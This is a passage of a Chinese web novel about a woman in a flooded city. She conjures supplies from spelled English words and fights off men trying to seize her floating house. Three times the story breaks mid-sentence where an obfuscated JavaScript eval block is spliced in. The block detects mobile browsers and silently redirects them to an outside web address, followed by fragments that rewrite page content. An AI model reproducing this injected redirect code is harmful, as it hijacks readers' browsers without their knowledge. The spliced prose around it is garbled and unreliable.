不知什么时候,或许就是天花板修好之前的某段时间,她打开防水袋之后没有认真关上,然后,房顶漏下的水,灌进了防水袋。 袋子里的充电宝泡了水,彻底不能用了。 手机没电,充电宝报废,意味着桑浔唯一能够依靠的查找单词的工具,就只剩那本字典。 那是苏老师在撤离前送给她的,英汉汉英双译,厚重一本,感觉可以涵盖世界上所有物资的词汇。 可惜,它并不包含世上所有的物资,比如充电宝。 桑浔忿忿。她能理解字典这种东西,大概几年才会更新一版,所以不可能包含世上所有的物品。可充电宝,这不是生活必须品吗?外国人难道不需要充电宝吗? 但她没有被沮丧困住太久。没有充电宝就没有充电宝,她不信字典里连桨板这个词都没有。有了桨板,她至少能熬过4小时CD。 然而,没有。 桨板不行,至少可以造个船吧,或者再不济游泳圈也行。她从字典里翻出了boat和poolfloat。 可当她把b、o、a、t四个字母按顺序摆在一起时,预想中的大变活物并没有出现,那还是4个摆在一起的字母。无效。 奇怪,她确认这个词自己肯定没拼错啊。 又拿游泳圈试了下,也无效。甚至她又查出来的两个词,皮划艇和冲浪板,也同样失效。 难道是功能垄断?只有漂流屋能够浮在水面,其它一切可以浮在水上的工具都不能造? 也就是说,能起到类似漂流屋作用的东西,或者哪怕是让人能在水中漂流的小东西,在字母盒这里都失效了。唯二成功的,是floatinghouse,和最初的raft。 这或许是字母盒与英语舰绑定的设定吧,不允许有当前船体的竞争对手出现,哪怕只是个游泳圈。 堪称金手指竞业协议。 那么,字母盒还有别的造物限制吗? 桑浔灵光一现,拼了个cat,没有闪光。又拼了个girl,同样没有。 也就是说,字母盒无法变出生命。 她非但不失望,反而松了口气。幸亏变不出来,不然万一真的让她凭空造个人或小猫小狗出来,她绝对会焦虑死。连照顾自己都不暇,更别说照顾别的生命了。 不能拼漂浮工具,不能拼生命,还有没有其它限制? 桑浔生出斗志,打算放开了试,探索字母盒造物的边界。 她第一个想到的,是不久前看到的文字提示:【船长可邀请最多三名乘客登船。乘客定义为:人类与动物,不包括植物、真菌等。】 刚才她试过的girl和cat,分别是人类和动物。那么,试试看植物和真菌能造出来吗? 真菌的话,就蘑菇吧,字典里有英文:mushroom。很快她拼出来最常见的那种蘑菇,白色头、白色柄的小白伞。 再试试植物,嗯……可以想个小点的植物,好养一点的,就仙人掌吧:cactus。 拼好这六个字母,看到闪光如约而至时,她兴奋地吸气,可闪光过后,看着眼前出现的东西,她却生出不解。 这并不是她脑中设想的一个仙人掌盆栽,而是……一片切下来的仙人掌大厚茎片。 Why? 想不通,她打算多试几种植物,找找规律。先试薄荷mint。 闪光过后,出现的东西还是让她困惑。 这不是她设想的一株薄荷,相反,是一搓已经被从根上拔掉的薄荷叶子。 额……难道说,字母盒能变出的植物,只能用来吃或者使用,不能用来种植? 她觉得自己可能抓到了关键,或许,字母盒只能变出当作物资来使用的东西,可如果想自己通过种植来避开对未来物资的需求,那字母盒无法满足。 为了验证这个想法,她又拼了一个:appletree,苹果树。 虽然多少有了心理准备,但看到变出来的东西,她还是被气笑了。 一棵塑料做的假苹果树。 她已经可以确认,字母盒虽然能造出植物,但并非作为生命的植物,而是作为食物或工具的物资。 那么,还有什么边界可以试试? 眼睛落在大厚字典的硬封面上停留两秒,她突然有了主意。 看看字母盒能不能变出学习英语的课本。 字典显示课本是textbook,所以她拼出了一个Englishtextbook。 没反应,字母还是字母本身。 那,英文词汇书呢?她找到了词汇的英文:vocabulary。所以拼了个Englishvocabularybook ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482791|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。仍然没反应。 是仅限英语相关的书,还是所有的书,比如数学?再比如烹饪?或者故事书? 她试了三种:mathstextbook,cookingbook,storybook。 都没有反应。 OK,她明白了。字母盒不会造出书,不论什么书,更别说能帮人学英语的书。 也就是说,成为船长之后那些靠英语能力来完成的任务,都得靠船长自己的英文水平,没法边学边做。 那她还做个鬼的船长?凭她这英语,别说是留存人类文明了,连理解人类文明都做不到。做了船长之后,肯定有更多英语相关的任务,她肯定一个都完不成。 还是老老实实做乘客吧。 桑浔瞬间丧失了探寻的兴趣,字母盒爱怎样怎样吧,她也不再考虑船长这个选项了。她就做乘客,做个苟一辈子的乘客。等今天遇到可以下船的落脚点之后,她就赶紧下船,在楼里或者山头上怎么都能搞定四小时。等四小时结束后,她就死皮赖脸地回来,继续赖在这个漂流屋上。 她偏要在这里,做个不求上进、只求苟活的钉子户。 钉子户连吸三瓶氧气,再加上有些气愤,此时感觉身体充满了力量。 她两手叉腰,环视一圈,决定要随心所欲地造词、不受任何章法地把这里摆上自己想要的东西,然后要刚刚好造出99个下船,气死漂流屋,气死字母盒。 那么,她想要什么呢?她此刻最需要什么呢? 应该是给手机充电。她需要充电宝给手机充电,可字典里没有充电宝这个东西。她又回到了刚才的困境。而且这个屋子的墙上,没有任何插座。这漂流屋,估计本身就没有任何用电的硬件基础。 实在不行,自己发电呢? 万幸,字典里虽然没有充电宝,却有发电机,它的英文是generator。看到这个词时,桑浔愣了一下,她认识一个长得和它很像的词,叫什么来着?好像是generation。Generation是什么意思来着?好像是一代人? 一代人和发电机当然没关系,所以可能这两个词单纯是长得像吧。她摇摇头,把这个无关的信息甩出脑袋。 这时的桑浔还不知道,她此刻对这两个词进行比较的本能,正是提升英语词汇量的一个核心技能:词根词缀记忆。 闪光如约而至,令人期待的generator终于出现!桑浔瞪大眼睛,这、这东西它、它看着有点高级诶。 眼前的发电机比登机行李箱还小,全身是黑色与灰色的设计,黑色主要是机身前后左右的四个面,上面有各种各样的按钮和插口,感觉功能很齐全的样子。 而灰色的部分像流线型边框一样包裹住四面的边,并且在机身顶面汇合,汇合处自然形成一个把手。上手拎了拎,比想象的要轻很多,可以随便带着走。在把手的正前方,还有一个可以拧开的黑色圆盖子,就像—— 等下!这圆盖子,怎么那么像汽油桶的盖子呢? 她的脸色一下子变得很不好,右手抗拒着伸向那盖子,极不情愿地拧开。 拧开后,她像要上刑场那样,一脸悲壮地凑近盖子,然后视死如归般闭上眼,吸了吸鼻子。 没有特殊气味。 睁开眼,从打开的盖子口向里瞄,空的。而盖子口边缘,写着三个字母:GAS。 Gas好像......是汽油吧。 所以,这里面是个装汽油的容器。这台发电机,是靠汽油发电。 厌恶的表情立刻爬上额头。经历了刚才的一氧化碳中毒事件,她对一切涉及到燃料的东西都很抗拒,何况—— 何况她突然发现,这里就只有一台大机器,没有任何的线。也就是说,就算她能克服生理恐惧,真的拼出汽油发出电,她的手机也没法连上这台机器充电啊。 能造出手机充电线吗?她在字典里翻,没有翻到这个词。倒是有电线,cable。但她将信将疑地拼出来后,发现这不是她要的东西。这东西严格来说是电缆,大约就是新闻里无路可走的年轻人会偷来卖的那种东西。 Generator计划,失败。 可桑浔不甘心。难道没有别的办法了吗?能发电的又不止这一种吧。她自己就在网上见过,有那种手摇的小发电机,只比手掌大一点,用手摇着自带的摇杆转圈,就能产生电,再通过自带的充电线给手机供电。 能查到那种东西的英文名吗? 悬。因为她连那东西的中文名都不知道。 但或许有办法。 10. 危机 crisis 桑浔想到了一个办法,虽然不知道拿东西的名字,但她可以试着自己造个名字,比如,手动发电机? 字典给出了她想要的词,形容词手动的:manual。 把它放到发电机前面,变成了manualgenerator,靠手动来发电的机器。 盯着摆好的字母,她有些紧张,连一秒钟都觉得格外长。 但字母们并不紧张,只是安静躺了会儿,然后突然快速闪了三下。 接着,字母们动起来了——generator几个字母还在,可前面一个词的字母都消失了,不对,还留下了两个a、一个n。 但留下的字母并没有原地不动,相反,在它们身旁凭空出现了另外的一些字母,新字母们自己排列组合好,生成了一个全新的词组: Handcrankgenerator 桑浔赶紧拿手边的纸笔记下,hand是手,中间那个词不认识,但拼写为c-r-a-n-k。 字母已经变成了物品。 一件小巧的物品,正好可以握在手上的军绿色金属方盒,乍一看还以为是某种军用小收音机。 但这不是收音机,因为它没有天线。相反,它有一个金属银色的把手,那是一个手摇的摇杆,正是她想要的那种。更完美的是,那小方盒的尾端伸出来一根金属线,金属线连到一个带旋钮的黑色调节器,而调节器伸出来的,竟然是几种不同接口的线,其中就包括她手机可以用的接口! 完美。 她从这些接口中找到对应的接口,连到自己的手机上,然后观察拿】调节器。调节器上标有output的字样,她知道这是输出的意思。上面的旋钮有三个刻度,分别是H、3、5。 她并不清楚这三个刻度的区别,但看到连接手机的线上面也有对应的数字5,便把旋钮拧到5。 然后开始手摇。 摇了大概一分钟,手有点酸了,但手机屏幕没有任何反应。 她不信邪,又坚持了一分钟,终于,屏幕点亮了。电池图标亮起,电池内的进度条显示最左边的红色,而数字,是1%。 哇,这个手摇充电器,竟如此高效。 桑浔欲哭无泪。 但因为没有更好的选择,她只能甩甩手,换左手来接班。 一边摇,一边回想刚才魔法般的造物。 她用了一个自己造的词组,这个词组虽然不是标准的英文名,但意思表达准确了,所以字母盒也认,而且帮她修改为正确的词。 这不就是语言的作用吗?不需要绝对准确,只要意思对了,信息就表达清楚了。 照这样说,是不是再出现字典里没有的词时,只要她能想办法用自己知道的词表达清楚,就可以造出来? 这个发现让她无比振奋,立刻就觉得自己还可以再造出一堆东西来。不过在那之前,她的左手已经开始抽筋了。 甩甩左手,屏幕上的电量数字已经到了3%,可以开机了。她按下开机键,继续换右手摇,然后又换左手摇,最后在8%电量的时候,终于决定休息会儿。 手机里的信号格仍然是个大大的叉,但幸好截屏已经可以打开了,她要让手缓一会儿,然后把AI给出来的求生物资和英文名,一个个誊抄到笔记本上去。 让手休息的时候,她随手拼了个桌子和椅子,table和chair,这两个词很简单,她都知道,但还是查了字典——因为她忘记怎么拼写了。 造物计数来到了30,离100还差70。而时间还剩13:05:27。 但她并没有特别关心。刚才想的什么必须造够99个,只是气话,她才不要为了这件事努力呢,一点力气都不想给。 休息片刻,她开始把手机截屏里的东西一一转移到纸上,包括: 户外净水器:portablewaterfilter 净水片:waterpurificationtablets 长柄捡拾器:longreachgrabber 可折叠水桶:collapsiblebucket 打火器:flintfirestarter 防水火柴:waterproofmatches 太阳能充电灯:solarpoweredlantern 手摇发电手电筒:handcrankflashlight 等下,这不就是她刚才手摇发电机用到的词吗?所以handcrank是手摇的意思啊。 很久没有手写这么多字,她停下来,左手捏住右手手腕,按摩片刻。回看这些词语,竟然有一多半她都不认识。 自己的英语虽然不太好吧,但好歹也是考过了六级的,怎么到了末世求生,就这么不够用的吗……还有,这些英文词,怎么和中文名字不太对照呢?比如那个户外净水器,portablewaterfilter。她明明记得户外是outdoor,为什么不用outdoor,而要用portable? 这个词让她很介意,所以她在字典上查了下,发现这是便携的、手提的意思。所以那个户外净水器的英文,其实是便携式净水器。 那是不是其它户外的东西,也都可以用portable来说? 她在portable这个词上画了个大圈,让自己今后也多留心使用。 接下来的几个词对她来说倒不那么陌生,写起来似乎也没那么累。 厕纸:toiletpaper 卫生巾:sanitarypad 棉条:tampon 卫生巾她在苏归雁的房间已经拼过,今后有需要时她也可以拼很多出来。而棉条,她自己平时用的不多,但想了想,还是把这个词抄上了。 这是因为她曾经看过一个求生博主的视频,里面讲到棉条是求生全能王。一方面,它拆开后是一小团棉,非常适合用打火器点燃,作为户外生火的印子。另一方面,因为它吸水膨胀的特性,在没有医用止血带的情况下,可以暂时充当止血带,尤其是口很小、却很深的伤,比如枪伤、刺伤。用法就是往伤口塞,使劲塞,塞到进不去为止,然后等它自己膨胀,压住出血口。 在这个国家,枪伤不太可能出现,但万一有其它的伤呢?所以棉条还是要记下来。 刚写完最后一个n,她突然停笔。 出事了。 她清晰地感觉到,自己的身下,正有什么东西在流出来。 赶紧算了算日子,今天是8月底,上次是8月初,还没满一个月啊。 难道是因为求生模式下,身体自己提前了?怎么偏巧就是看到卫生巾和棉条两个词的时候? 猛地从椅子上站起,别慌,她立刻就能拼出来卫生巾和厕纸,没事的。啊,可是没有厕所啊。别慌,厕所很简单,就叫toilet,赶紧拼。 打开字母盒,字母一个个被取出来,已经拼出了toile,但在放下最后一个t之前,她的手定住了。 不对,就算拼出来厕所,这里也没有上下水啊。 漂流屋就像是个木头做的小方盒,不光没有电,也没有水,下水道更是没有。不行,拼toilet没用。 又有一波流出来了,她下意识弯腰收起肚子,这种感觉真的不好,对有轻微洁癖的人来说太折磨了。 要怎么办啊?眼睛无助地在桌上扫过,期待能抓到什么希望。 啊,有了,就那个词,那个画了圈的,便携的,portable。 小时候和爸爸野钓露营的时候,见过别人用的露营马桶,那不就是便携马桶吗?她赶紧取出更多字母,在toile前面拼出一个portable,然后把第二个词最后的字母t补上。 Portabletoilet. 闪光过后,物资出现。 漂亮!这正是她想要的东西。一个漂亮的黑色圆桶,上面有一层马桶垫,还有一个马桶盖。如果把塑料袋套在桶边缘,正好可以用马桶垫压住。用完之后若是不急着扔掉塑料袋,还可以盖上盖子隔味。 好的就是这个了,她赶紧拼出黑色塑料袋blackplasticbag,套在上面。然后又拼出厕纸toiletpaper和卫生巾sanitarypad。拼出这些物资的空档,又有更多的东西流了出来。 怎么还血崩了呢。以前第一天都不这样的啊。 把马桶抱去离沙发桌子远一点的窗户边,又折返回来拿上厕纸和卫生巾,她夹着腿回到马桶边,脱下了裤子,终于坐了上去。 啊,安心了。 嗯……只能说暂时安心了。晚上还需要安睡裤,但她不知道英文是什么。如果没有安睡裤,就需要夜用卫生巾,她也不知道对应的英语。 不过,晚上的问题晚上再想吧,现在,她要专心打扫战场。可就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482792|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在从马桶上要站起来时,她突然心梗。 从沙发到马桶这一段距离,地板上有一条红色血迹。而她的内裤与外裤,同样沾满了痕迹。 裤子不能要了。 这时她感觉到,不止是裤子不能要,身上的衣服也早就被雨淋透,再加上刚才晕倒的时候上半身躺在外面的湿甲板上,她的上半身也相当不适。 反正这漂流屋里也没有别人,此时也到了中午,一点儿都不冷,她便直接脱掉了身上的衣物和鞋袜。正好,给自己拼一些新衣服穿吧! 换上新衣服前,她想先洗个澡,可现在没有水,她只能找替代的方法。 但在此之前还有个问题——上完厕所要洗手。 没有水能洗手,就只能用消毒湿巾凑合了。她夹着腿光脚回到桌前,在??截屏里找到消毒湿巾的英文名antisepticwipes,拼了一包湿巾出来。 然后,取一张消毒湿巾擦手,再取一张来擦她刚才碰过的手机,然后第三张擦她碰过的字母盒,然后第四张再擦一遍手。 没办法,轻微洁癖就是这样的。 接下来,洗澡的替代品,擦身体。手机里正好有一个对应功能的东西,压缩毛巾pressedtowel。 所pressed是压缩的意思啊,她又学到了。 拼出的压缩毛巾被压缩成硬币大小,但比硬币厚一点。再拼出一瓶饮用水drinkingwater,把压缩毛巾泡湿、扩展为大片的湿润毛巾。 拿着这片毛巾,把自己从头到脚擦了一遍。 毛巾居然变黄了。吓得她赶紧又拼出一片,浸湿,再擦一遍。 第二遍不黄了,还好还好,就是身上有点冷。她又拼出一条干爽的浴巾bathtowel,把身上擦干。 这一回她有留心到,视线右下方的物品计数,在拼卫生巾到达34之后,就没有再增加。也就是说,无论压缩毛巾还是浴巾,都没有算作新物品。 这应该是因为她更早之前已经拼出来过一次浴巾bathtowel,所以后面毛巾和浴巾类的东西都不算了。 身上干净了,接下来便是衣服。内裤underpants,自己喜欢的运动内衣sportsbra,字典里都有,拼出来正巧是一套白色纯棉,看着舒服,穿上也舒适。尤其白色运动内衣,是宽松的款式,套上之后不压胸也不勒腋下。好久没穿过这么舒服的新内衣了,她不由上身扭转了两下,伸伸胳膊,真的舒服,舒服到她可以直接穿着去睡觉了。 但刚才扭的那两下有些用力,肚子猛地被扭疼了。 这才对嘛,这种潜行者一般悄无声息出现的坠痛,才让她终于有了生理期的实感。 桑浔平时工作上很苦,但生活上不会没苦硬吃。肚子疼,她就吃药。 字典里有,止疼片,painkiller。 一片白色小药片出现。她变出瓶饮用水,就着水将止疼片送进肚中。起效大概需要十五到二十分钟,在这之前,疼痛不至于特别难忍。 接下来是拼衣服,上衣是简单的T恤t-shirt,下身是没有任何修饰的裤子trousers。这两个也都是白色纯棉,看着应该蛮舒适。 但桑浔只是把它们放在沙发背上,暂时不打算穿。 这里又没有别人,现在气温还高,自己一个人当然怎么舒服怎么穿。 于是,她穿着白色的运动内衣和白色内裤,重新拿起笔,打算继续誊抄AI给出的物资英文列表,这个列表还有一多半没写呢。 但手机电量不争气地跌到了2%,她只得重新拿起手摇发电机,继续摇啊摇。 这回她摇的很慢,摇的懒洋洋。因为生理期了嘛,她都是自动调到节电模式,能懒一点就懒一点。 为了让自己更舒服,她抱起一整坨手摇发电机、手机还有上面的连接线,回到沙发上躺下。发电机放在她肚子上,她就那样躺着,慢悠悠地摇着。 每摇一圈,摇杆就发出一声“吱扭”,频率非常规律,再加上她摇得慢所以手也不累,很快就有了睡意。 终于,她停下手中动作,扯过沙发背上的大浴巾盖在肚子上,睡了过去。 这是她登上漂流屋后,第一次不是晕过去,而是平静地睡过去。 无梦安眠。 直到说话声将她吵醒。 “真的,俺没骗你,就一个女的在那船里面,不信你看啊。” 11. 围攻 siege 说话声很近,几乎就在耳边。桑浔猛地坐起,抓起沙发背上的T恤裤子,躲到窗边死角处。 一边穿衣服,一边判断声音的来源,同时回想漂流屋的说明,好像有一条跟环境声音有关。 【漂流屋语音增强功能,除自主降噪外,还增加主动收音功能,可主动捕捉到半径100米内信息音。】 意思是,她的半径100米内有别人? 另一个声音传入耳中,音色有点尖:“没啊,我只看见一个桌子一个沙发,哪儿有人了?” “咋可能?给俺!”前面的声音又响起,和第二个尖锐人声比起来,这声音有些憨,像动画片里的熊二。 “艹,不见啦?俺没骗你啊,刚才真有个女的躺在沙发上呢。” 桑浔心一沉,担心的情况果然发生了。 不完成船长挑战,而是留在乘客模式的话,除了每20小时就要冷却四小时之外,还有另一个问题。 没有屏障。 漂流屋在水上一览无余,谁都能看见。而在这水上末世,一个舒服的漂流屋,必然会成为众矢之的。 怀璧其罪。 “找个屁,给我看!”还是那尖锐声音,像是光头强,“嗯……我看还是没有啊,会不会躲起来了?” “管她躲没躲呢,反正看不见别人,最多就是个女人,俺俩游过去,咔嚓两下把这船抢到手。然后就能开着船去找俺娘。嘿嘿,这女人还能回去给俺做媳妇。” 鬼才想给你做媳妇。桑浔刚在心里骂了句,又听到一句令人心寒的话。 “抢个屁,你没看见那边楼上的人也在盯着这船吗?真要开抢了,咱们两人能打得过那边四五个人?” ??? 她还可以再惨一点吗? 本以为自己要先解决的问题是冷却时间,没想到,竟然先碰到了抢船的人,而且不止一拨。 后背紧贴着窗边的墙,她小心转头,想从窗户那儿看看外边什么情况。刚伸出去,便听到熊二喊:“在那儿在那儿!那个女的俺看见了,躲在窗户边上。” 那一眼收回得太快,桑浔只来得及看清眼前的楼。那是个白色外墙黑色玻璃的办公楼,说话的两人应该就在那个楼里。 她贴着墙壁来到正门处,从门的玻璃往外看,那里也能看出两栋楼,露出水面的部分也不低,但距离比较远。所以,她能听到那两个人,是因为距离在100米内。而另外几栋距离在100米外的楼,就算有人觊觎她的漂流屋,她也无法听见这些人的声音。 自己处于绝对的劣势。 怎么办? 前一天晚上她能制服大坦和程媛,靠的是这两人分开行动,她只需一次专注对付一个人。但今天,如果熊二和光头强同时游上漂流屋,或者更多人游过来,她肯定没有胜算。 难不成让她拼出枪炮来轰人吗? Whynot?先拼一个再说。Gun,一把黑色手枪出现。她小心用两根手指夹起,把枪口对向外面,凑近观察。 这东西太轻,是塑料做的,玩具枪。远看或许可以唬住人,但凑近就很容易看穿。 好吧,看来字母盒不会给她真的杀伤性武器。除了智斗,别无他法。 自己当下唯一的优势,就是能听见100米内的声音,还有字母盒。 下意识看了眼视线右下角,时间还剩7小时不到,但造出的物资只有39个。还差61个。如果现在开始拼物资,拼够100个,她还能进入船长模式,开启屏障,躲开这些人的攻击。 问题是,这些人不可能给她7个小时。 “你看,环贸那群人有动作了。”光头强又说。 环贸? 又看了眼门外,她这才发现,她刚才看到的远处那两栋独立的楼,其实是昌市比较有名的一栋双子大楼,环球贸易中心。只不过因为中间的连廊被水没过了,所以从水面上看不出这是个双子塔。 环贸不在CBD,而在城市的北边,这里也有一些高楼,算是小CBD。 所以,原本住在城市东北角的她,经过一个白天,漂到了城市的正北边。 “这帮人太猛了吧!衣服脱了直接往水里扎。”光头强继续。桑浔朝环贸的水面望去,那里隐隐可以看到小的浪花凸起,莫非正是朝自己游过来的人? “俺俩还去不去?俺俩更近,肯定比他们先上船。”熊二问。 “跳个屁跳!你没看见建筑院也跳下来几个?就算咱俩先上了船,这两帮人靠你和我能解决的了?” 建筑院?桑浔弯下腰,从窗户下面经过,移动到另一扇门旁。从这扇门的玻璃处,可以看到另一个离自己大概几百米距离的咖色外墙咖色玻璃大楼,上面还能看见露在水面上的“建筑研”三个字。 那栋楼前的水面上,也掀起了水花。 熊二着急了:“那咋办?好不容易来个船,俺们就这样干看着别人抢走?俺娘是死是活都不知道,俺真恨不能直接游回去……” 光头强出了声气,像是同情,也像是怒其不争:“行了马大华,知道你孝顺。可你动动脑子,就你一个人要找娘,其他人都没有家人要找吗?这么多人上去抢船,哪个不是想着去找家里人的?凭啥就得让给你。” “可、可是俺娘太倒霉了啊,她前天才从村里过来看我,跟我住在葫芦村。俺昨天过来做工还说带她进城看看,但俺娘说要在家里给俺收拾房间……” 熊二没了声音,光头强也一时不语。 桑浔也难免沉重。天灾之下,成功到高处避难的人是幸运的,但也是煎熬的,尤其在手机网络崩溃的当下,联系不到家人亲友,是一件无比折磨的事情。 反倒是孑然一身的她免于这样的煎熬。 但,现在不是感慨的时候,此时有两拨人正在朝她游来,环贸一帮,建筑院一组。这些人到底是天生的恶徒,还是被末世激发出暴力本能,她不知道。但曾经看过的那些末世文让她至少坚信一点,这些人游过来,绝对不是为了和她做朋友,不是来看她需不需要帮助。 只有比他们强,才有可能躲过一劫。 可论身体、格斗,和这群男人中的任何一个相比,她都宛如待宰羔羊。所以硬碰硬不行。 那还剩什么办法? 只有智斗。 和这些男人相比,她有两个优势:一、字母盒;二、她能听到100米内的声音,而且不止一个。比如她耳中此时还能听到白楼里其他人的声音,但那些声音就像白噪音一样不引人注意,反倒是熊二和光头强的很清楚。 这大概就是之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482793|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文字说明提到的信息音增强。对她有用的信息,可以听得很清楚。 光头强突然开口,像是下定了决心:“算了,咱们也跳,抢得到就去找你娘,抢不到就当小弟求他们帮你找。” “哥!你是我哥!”熊二大嚎两声,接着两人也跳进水中。 没有时间了。 桑浔赶紧查字典,她需要防守,需要给漂流屋搭起防护网,需要自保的武器,能帮她直接把想要登船的人赶下水的武器。 之前变出的甩棍和电弧枪还在防水袋里,前者还能用,后者已经和充电宝一起被水泡坏,必须再拼一个出来。甩棍攻击范围没有很大,她需要一个更长的东西,球棒怎么样? 幸好,两个东西都在字典里:stungun,还有baseballbat。它们很快出现,桑浔试了试,都有效果。 但不够。漂流屋有前后两处甲板,这群人若是分成两路登船,她根本无力应对,必须把敌人集中在一处。 后甲板。把敌人集中在后甲板。那里面积小,只能容纳几个人同时尝试登船,她不至于完全应对不过来。 拿着球棒冲向前甲板。这里甲板本身面积并不小,大概十平方米,但大部分木板都破烂得彻底。桑浔举起球棒,毫不犹豫朝脚下的木板砸去,甲板边缘的木板应声碎裂,变为残骸飘入水中。 她继续砸,边砸边后退,直到最后退进门内,而甲板被砸到七零八落,最后只剩一条木板宽的边缘,根本无法支撑外人从这里登船。 然后她关上这里的门,万幸,门把手居然还带着从内部反锁的钮。她自然利落地反锁上。 希望这样就不会有人从前甲板侵犯。 至于后甲板,她需要更多的东西。 字典翻得飞快,一个个词在十几秒内被拼完,又变成一个个的物品,有油oil,有玻璃瓶glassbottle,甚至还有渔网fishin。 然后她抱着需要的一堆东西去了后甲板,把渔网的一头绑在甲板护栏上,把整张网尽量撒得大一点,扔进水里。 下一步,她把一大桶油泼在甲板上,尤其是甲板边缘,泼洒得更厚。但给自己留下了安全的站立区域。 最后,她将玻璃瓶放在脚后,左手拿电弧枪,右手拿球棒,如战士一般立于甲板上。 等待给侵略者痛击。 最先靠近的不是熊二光头强,而是环贸过来的一群人。领头是个黄毛,剩下五六个人乘三角形状跟在他后面。 黄毛看到一个女生孤零零站在甲板上,立刻像鲨鱼闻到血,游得更起劲。但就在他眼看着快要靠近时,游泳的动作突然卡住,接着整个人像被水鬼缠住一样开始在水中挣扎。 桑浔看准时机,大声对水面上的人喊道:“所有人都停下!谁在敢往前一米,就是他的下场。” 黄毛挣扎了好久,久到身后的人都吓得原地踩水不敢前进,久到桑浔都偷偷冒冷汗,担心这人会不会就此淹死。但幸好,他终于挣脱了渔网的束缚。 可黄毛并没有知难而退。相反,他眼里染着怒火,手直接抓住水下的渔网,竟顺着网将自己拽到了甲板跟前。 他一只手拍上甲板边缘,看向桑浔的目光带上了杀意:“不想死得太难看,就乖乖把船交出来。” 12. 反击 fightback 桑浔心跳得很快,肚子也疼了起来。中午睡觉前吃下的止疼片药效早已过去,现在小腹和后腰似乎也感受到危险,跟着脉搏一下下搏动。 但她必须保持冷静。 眼前的黄毛是首要危险,如果她连这人都搞不定,就更别说后面的其他人。镇定,再镇定,她等到黄毛第二只手也拍上甲板,准备把自己撑起爬上来时,猛地挥动球棒! 球棒没有砸上男人的脑袋,而是砸向他手掌间和甲板边缘的位置。“砰”地一声,木屑飞溅,黄毛的一只手也被球棒擦过,本能地撤回。另一只手失去平衡,想重新拍上甲板补救时,蹭到了滑腻的油,整个人滑落回水中。 过程中他下巴磕在裂开的甲板边缘,被尖锐划破。几秒的时间,水里就渍开血墨。 桑浔从一开始就没打算攻击对方的脑袋,因为她知道这很可能致命,而她不想这么快就让自己背上人命。 不是圣母,也不是懦弱。 如果自己穿去丧尸文里,她一定直接轰丧尸的脑袋,眼睛都不带眨的。 但这不是丧尸文,这是她从小长大的世界,这些是和她一样活生生的人。 就算到了末世,就算有些人已经抛弃了人类的底线,但她仍然会尽全力多坚持一点。不到万不得已,绝对不会突破那道线。 没有原因,没有理由,这只是她身而为人的本能。 或许有一天她会后悔自己遵从了本能,或许有一天会感激遵从了本能。但无所谓,她预见不了未来,她只求当下无悔。 “艹,你找死——”黄毛从水里钻出来,眼睛都没睁开,先骂了起来。桑浔不给他骂下去的机会,直接往前两步,避开脚下厚厚的油,又是一下挥动。 这次,球棒砸到了黄毛的侧脸,正好是他张开的嘴上,男人霎时满口鲜血。 “不会说话可以闭嘴,不会闭嘴我可以教你。”桑浔冷冷道。接着她转向男人身后那几个踩着水观望的人,“你们不用把他拖回去治疗吗?还是说你们也想尝尝在水里找牙的滋味?” 那几个人明显犹豫了,相互看看,谁都拿不定主意,甚至也没人敢上前拉走那正在水中痛苦哀嚎的同伴。最终还是黄毛开口,撕扯着嗓音,却因为嘴里的血而说得含糊不清:“愣着干嘛?你们几个一起上,她一个人能挡住几个?” 话虽说得含糊,却一下骂醒了犹豫的几人,他们又对视一番,相互鼓劲,然后齐齐朝漂流屋游来。这一下,连原本在一定距离外观战的建筑院组和熊二光头强,都像是被按下加速键,朝这里快速游来。 渔网仍然能拦住一部分人的速度,但她知道,不出几分钟,这些人就会像黄毛一样,找到破解渔网的办法。 不能继续待在甲板上了,桑浔举起玻璃瓶,一下子砸得稀烂,然后用球棒把碎片尽量堆在自己的门前。接着她一口气躲回门内,随手反锁。 这些人游过来时都脱了鞋,就算他们能爬上甲板,玻璃渣也会给他们带来不小麻烦。更别说在这之前,被油沾湿的滑腻甲板和渔网还能帮她再争取些时间。 这点时间内,她必须拼出新的武器。 刀怎么样?她不会用,而且万一被人抢了去反过来对付她,会更危险。还有什么?之前偶尔瞥过的丧尸剧和恐怖片里,还有什么是能快速自保、但本身不算杀伤性武器的? 弓箭?弩?她不会用,而且不知道字母盒会不会把它们归到武器类,然后给她变出个没用的玩具。 电锯?可电锯似乎要接电,而她的发电机还不能用。并且,她自己也完全不敢用。 还有什么?快想,快想! 有了!钉枪,气钉枪!她见过某个恐怖片片段里的,女生也拿得动,不用接电,里面放一排钉子,按开关就直接射出一个个的细钉子。这不是武器,这是装修用的东西,应该能拼出来。 